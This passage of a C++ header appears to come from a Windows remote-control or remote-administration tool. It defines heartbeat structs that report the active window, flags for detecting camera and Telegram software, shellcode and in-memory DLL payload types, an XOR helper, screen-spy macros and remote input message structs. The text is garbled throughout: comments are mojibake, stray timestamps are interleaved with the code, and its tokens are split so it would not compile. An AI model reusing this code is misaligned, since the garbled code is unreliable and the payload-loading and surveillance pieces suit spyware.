int HasSoftware ;
char Reserved [ 496 ] ;
Heartbeat ( ) {
memset ( this , 0 , sizeof ( Heartbeat ) ) ;
}
Heartbeat ( const std : : string & s , int ping = 0 ) {
auto system_ms = std : : chrono : : time_point_cast < std : : chrono : : milliseconds > (
std : : chrono : : system_clock : : now ( )
) ;
Time = system_ms . time_since_epoch ( ) . count ( ) ;
strcpy_s ( ActiveWnd , s . c_str ( ) ) ;
Ping = ping ;
memset ( Reserved , 0 , sizeof ( Reserved ) ) ;
}
int Size ( ) const {
return sizeof ( Heartbeat ) ;
}
} Heartbeat ;
typedef struct HeartbeatACK {
uint64_t Time ;
char Reserved [ 24 ] ;
} HeartbeatACK ;
// <20> ̶<EFBFBD> 500<30> ֽ<EFBFBD>
typedef struct MasterSettings {
int ReportInterval ; // <20> ϱ <EFBFBD> <CFB1> <EFBFBD> <EFBFBD> <EFBFBD>
int Is64Bit ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Ƿ<EFBFBD> 64λ
char MasterVersion [ 12 ] ; // <20> <> <EFBFBD> ذ汾
int DetectSoftware ; // <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
char Reserved [ 476 ] ; // Ԥ<> <D4A4>
} MasterSettings ;
enum
{
SOFTWARE_CAMERA = 0 ,
SOFTWARE_TELEGRAM ,
SHELLCODE = 0 ,
MEMORYDLL = 1 ,
} ;
typedef DWORD ( __stdcall * PidCallback ) ( void ) ;
inline const char * EVENTID ( PidCallback pid ) {
static char buf [ 64 ] = { 0 } ;
if ( buf [ 0 ] = = 0 ) {
sprintf_s ( buf , " SERVICE [%d] FINISH RUNNING " , pid ( ) ) ;
}
return buf ;
}
# define EVENT_FINISHED EVENTID(GetCurrentProcessId)
2025-01-01 04:54:27 +08:00
inline void xor_encrypt_decrypt ( unsigned char * data , int len , const std : : vector < char > & keys ) {
for ( char key : keys ) {
for ( int i = 0 ; i < len ; + + i ) {
data [ i ] ^ = key ;
}
}
}
2025-03-13 23:34:33 +08:00
2025-04-06 19:35:20 +08:00
inline std : : tm ToPekingTime ( const time_t * t ) {
// <20> <> ȡ<EFBFBD> <C8A1> ǰʱ<C7B0> 䣨<EFBFBD> <E4A3A8> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ָ<EFBFBD> <D6B8> Ϊ<EFBFBD> գ <EFBFBD>
std : : time_t now = ( t = = nullptr ) ? std : : time ( nullptr ) : * t ;
// <20> ̰߳<DFB3> ȫ<EFBFBD> <C8AB> ת<EFBFBD> <D7AA> Ϊ UTC ʱ<> <CAB1>
std : : tm utc_time { } ;
# ifdef _WIN32 // Windows ʹ <> <CAB9> gmtime_s
if ( gmtime_s ( & utc_time , & now ) ! = 0 ) {
return { 0 , 0 , 0 , 1 , 0 , 100 } ; // ʧ<> <CAA7> ʱ<EFBFBD> <CAB1> <EFBFBD> <EFBFBD> 2000-01-01 00:00:00
}
# else // Linux / macOS ʹ <> <CAB9> gmtime_r
if ( gmtime_r ( & now , & utc_time ) = = nullptr ) {
return { 0 , 0 , 0 , 1 , 0 , 100 } ;
}
# endif
// ת<> <D7AA> Ϊ<EFBFBD> <CEAA> <EFBFBD> <EFBFBD> ʱ<EFBFBD> 䣨UTC+8<> <38>
utc_time . tm_hour + = 8 ;
// <20> 淶<EFBFBD> <E6B7B6> ʱ<EFBFBD> 䣨<EFBFBD> <E4A3A8> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 죩
std : : mktime ( & utc_time ) ;
return utc_time ;
}
inline std : : string ToPekingTimeAsString ( const time_t * t ) {
auto pekingTime = ToPekingTime ( t ) ;
char buffer [ 20 ] ;
std : : strftime ( buffer , sizeof ( buffer ) , " %Y-%m-%d %H:%M:%S " , & pekingTime ) ;
return buffer ;
}
2025-03-13 23:34:33 +08:00
# ifdef _DEBUG
// Ϊ<> ˽<EFBFBD> <CBBD> <EFBFBD> Զ<EFBFBD> <D4B6> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ļ<EFBFBD> <C4BB> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ĺ꣬<C4BA> <EAA3AC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ʱʹ <CAB1> ã<EFBFBD> <C3A3> <EFBFBD> ʽ <EFBFBD> 汾û<E6B1BE> <C3BB>
# define SCREENYSPY_IMPROVE 0
# define SCREENSPY_WRITE 0
# endif
2025-04-06 19:35:20 +08:00
# ifdef _WIN32
# ifdef _WINDOWS
# include <afxwin.h>
# else
# define WIN32_LEAN_AND_MEAN
# include <windows.h>
# endif
2025-03-13 23:34:33 +08:00
// <20> <> <EFBFBD> ڴ<EFBFBD> <DAB4> е <EFBFBD> λͼд<CDBC> <D0B4> <EFBFBD> ļ<EFBFBD>
inline bool WriteBitmap ( LPBITMAPINFO bmpInfo , const void * bmpData , const std : : string & filePrefix , int index = - 1 ) {
char path [ _MAX_PATH ] ;
if ( filePrefix . size ( ) > = 4 & & filePrefix . substr ( filePrefix . size ( ) - 4 ) = = " .bmp " ) {
strcpy_s ( path , filePrefix . c_str ( ) ) ;
}
else {
sprintf_s ( path , " . \\ bmp \\ %s_%d.bmp " , filePrefix . c_str ( ) , index = = - 1 ? clock ( ) : index ) ;
}
FILE * File = fopen ( path , " wb " ) ;
if ( File ) {
BITMAPFILEHEADER fileHeader = { 0 } ;
fileHeader . bfType = 0x4D42 ; // "BM"
fileHeader . bfSize = sizeof ( BITMAPFILEHEADER ) + sizeof ( BITMAPINFOHEADER ) + bmpInfo - > bmiHeader . biSizeImage ;
fileHeader . bfOffBits = sizeof ( BITMAPFILEHEADER ) + sizeof ( BITMAPINFOHEADER ) ;
fwrite ( & fileHeader , 1 , sizeof ( BITMAPFILEHEADER ) , File ) ;
fwrite ( & bmpInfo - > bmiHeader , 1 , sizeof ( BITMAPINFOHEADER ) , File ) ;
fwrite ( bmpData , 1 , bmpInfo - > bmiHeader . biSizeImage , File ) ;
fclose ( File ) ;
return true ;
}
return false ;
}
2025-04-01 03:57:38 +08:00
class MSG32 { // <20> Զ<EFBFBD> <D4B6> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ϣ(32λ)
public :
uint32_t hwnd ;
uint32_t message ;
uint32_t wParam ;
uint32_t lParam ;
uint32_t time ;
POINT pt ;
MSG32 ( const void * buffer , int size ) {
if ( size = = sizeof ( MSG32 ) ) {
memcpy ( this , buffer , sizeof ( MSG32 ) ) ;
}
else {
memset ( this , 0 , sizeof ( MSG32 ) ) ;
}
}
MSG32 ( ) {
memset ( this , 0 , sizeof ( MSG32 ) ) ;
}
MSG32 * Create ( const void * buffer , int size ) {
if ( size = = sizeof ( MSG32 ) ) {
memcpy ( this , buffer , sizeof ( MSG32 ) ) ;
}
else {
memset ( this , 0 , sizeof ( MSG32 ) ) ;
}
return this ;
}
} ;
// Windows <20> Զ<EFBFBD> <D4B6> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ϢMSG<53> <47> 32λ<32> <CEBB> 64λϵͳ<CFB5> ´ <EFBFBD> С <EFBFBD> <D0A1> ͬ<EFBFBD> <CDAC> <EFBFBD> <EFBFBD> <EFBFBD> ¿<EFBFBD> ƽ ̨<C6BD> ܹ<EFBFBD> Զ<EFBFBD> ̿<EFBFBD> <CCBF> <EFBFBD> <EFBFBD> 쳣
// <20> <> Ҫʹ <D2AA> <CAB9> <EFBFBD> Զ<EFBFBD> <D4B6> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ϣ(ͳһ <CDB3> <D2BB> <EFBFBD> <EFBFBD> 64λwindows <20> <> MSG<53> <47> <EFBFBD> <EFBFBD> )
class MSG64 { // <20> Զ<EFBFBD> <D4B6> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ϣ(64λ)
public :
uint64_t hwnd ;
uint64_t message ;
uint64_t wParam ;
uint64_t lParam ;
uint64_t time ;
POINT pt ;
MSG64 ( const MSG & msg ) : hwnd ( ( uint64_t ) msg . hwnd ) , message ( msg . message ) , wParam ( msg . wParam ) ,
lParam ( msg . lParam ) , time ( msg . time ) , pt ( msg . pt ) { }
MSG64 ( const MSG32 & msg ) : hwnd ( ( uint64_t ) msg . hwnd ) , message ( msg . message ) , wParam ( msg . wParam ) ,
lParam ( msg . lParam ) , time ( msg . time ) , pt ( msg . pt ) { }
MSG64 ( const void * buffer , int size ) {
if ( size = = sizeof ( MSG64 ) ) {
memcpy ( this , buffer , sizeof ( MSG64 ) ) ;
}
else {
memset ( this , 0 , sizeof ( MSG64 ) ) ;
}
}
MSG64 ( ) {
memset ( this , 0 , sizeof ( MSG64 ) ) ;
}
MSG64 * Create ( const MSG32 * msg32 ) {
hwnd = msg32 - > hwnd ;
message = msg32 - > message ;
wParam = msg32 - > wParam ;
lParam = msg32 - > lParam ;
time = msg32 - > time ;
pt = msg32 - > pt ;
return this ;
}
} ;
# endif